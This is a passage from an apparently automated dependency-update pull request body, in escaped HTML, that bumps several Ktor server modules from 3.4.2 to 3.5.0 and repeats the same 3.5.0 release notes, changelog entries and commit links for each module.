href=\"https://github.com/ktorio/ktor/commit/ba5bbc5a7aafe0b909e9c40536153d02b7baa99c\"\u003e\u003ccode\u003eba5bbc5\u003c/code\u003e\u003c/a\u003e Rethrow cancellation in Digest.build (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5618\"\u003e#5618\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/165355954f7659ddd9c114381ea8eb592dee9cb7\"\u003e\u003ccode\u003e1653559\u003c/code\u003e\u003c/a\u003e Update kotlinx-serialization to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/eb593ac471b00f99c55090fb190a0ec5cdfa5115\"\u003e\u003ccode\u003eeb593ac\u003c/code\u003e\u003c/a\u003e Update kotlinx-coroutines to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/043d400e8140e1e2c46830463efb807f3669a313\"\u003e\u003ccode\u003e043d400\u003c/code\u003e\u003c/a\u003e Update dependency org.jetbrains.kotlinx:kotlinx-io-core to v0.9.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/75a8324a98f38ca299ba8af7e4224a07cb78bc30\"\u003e\u003ccode\u003e75a8324\u003c/code\u003e\u003c/a\u003e Update dependency com.squareup.okio:okio to v3.17.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/757c3da525695ae2e0b3f15b50145f50e57d08af\"\u003e\u003ccode\u003e757c3da\u003c/code\u003e\u003c/a\u003e Update dependency com.google.code.gson:gson to v2.14.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/4b796859d1c189190d3fe964bf506d98356a5e0c\"\u003e\u003ccode\u003e4b79685\u003c/code\u003e\u003c/a\u003e Update dependency com.auth0:jwks-rsa to v0.24.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6fe542f9b102300921ce681afb48d38c5e3aac2d\"\u003e\u003ccode\u003e6fe542f\u003c/code\u003e\u003c/a\u003e Update tomcat.jakarta to v10.1.55\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.2...3.5.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-metrics-micrometer` from 3.4.2 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-metrics-micrometer's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.5.0\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-metrics-micrometer's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.5.0\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3ccad96fbb891469cdb5ff92b51a96bb6d6374c9\"\u003e\u003ccode\u003e3ccad96\u003c/code\u003e\u003c/a\u003e Release 3.5.0 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5612\"\u003e#5612\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/decd09ffd35e23a2b3e4481f37b252000a8b7ec2\"\u003e\u003ccode\u003edecd09f\u003c/code\u003e\u003c/a\u003e Update report links (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5616\"\u003e#5616\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/ba5bbc5a7aafe0b909e9c40536153d02b7baa99c\"\u003e\u003ccode\u003eba5bbc5\u003c/code\u003e\u003c/a\u003e Rethrow cancellation in Digest.build (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5618\"\u003e#5618\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/165355954f7659ddd9c114381ea8eb592dee9cb7\"\u003e\u003ccode\u003e1653559\u003c/code\u003e\u003c/a\u003e Update kotlinx-serialization to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/eb593ac471b00f99c55090fb190a0ec5cdfa5115\"\u003e\u003ccode\u003eeb593ac\u003c/code\u003e\u003c/a\u003e Update kotlinx-coroutines to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/043d400e8140e1e2c46830463efb807f3669a313\"\u003e\u003ccode\u003e043d400\u003c/code\u003e\u003c/a\u003e Update dependency org.jetbrains.kotlinx:kotlinx-io-core to v0.9.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/75a8324a98f38ca299ba8af7e4224a07cb78bc30\"\u003e\u003ccode\u003e75a8324\u003c/code\u003e\u003c/a\u003e Update dependency com.squareup.okio:okio to v3.17.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/757c3da525695ae2e0b3f15b50145f50e57d08af\"\u003e\u003ccode\u003e757c3da\u003c/code\u003e\u003c/a\u003e Update dependency com.google.code.gson:gson to v2.14.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/4b796859d1c189190d3fe964bf506d98356a5e0c\"\u003e\u003ccode\u003e4b79685\u003c/code\u003e\u003c/a\u003e Update dependency com.auth0:jwks-rsa to v0.24.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6fe542f9b102300921ce681afb48d38c5e3aac2d\"\u003e\u003ccode\u003e6fe542f\u003c/code\u003e\u003c/a\u003e Update tomcat.jakarta to v10.1.55\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.2...3.5.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-call-logging-jvm` from 3.4.2 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-call-logging-jvm's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.5.0\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance 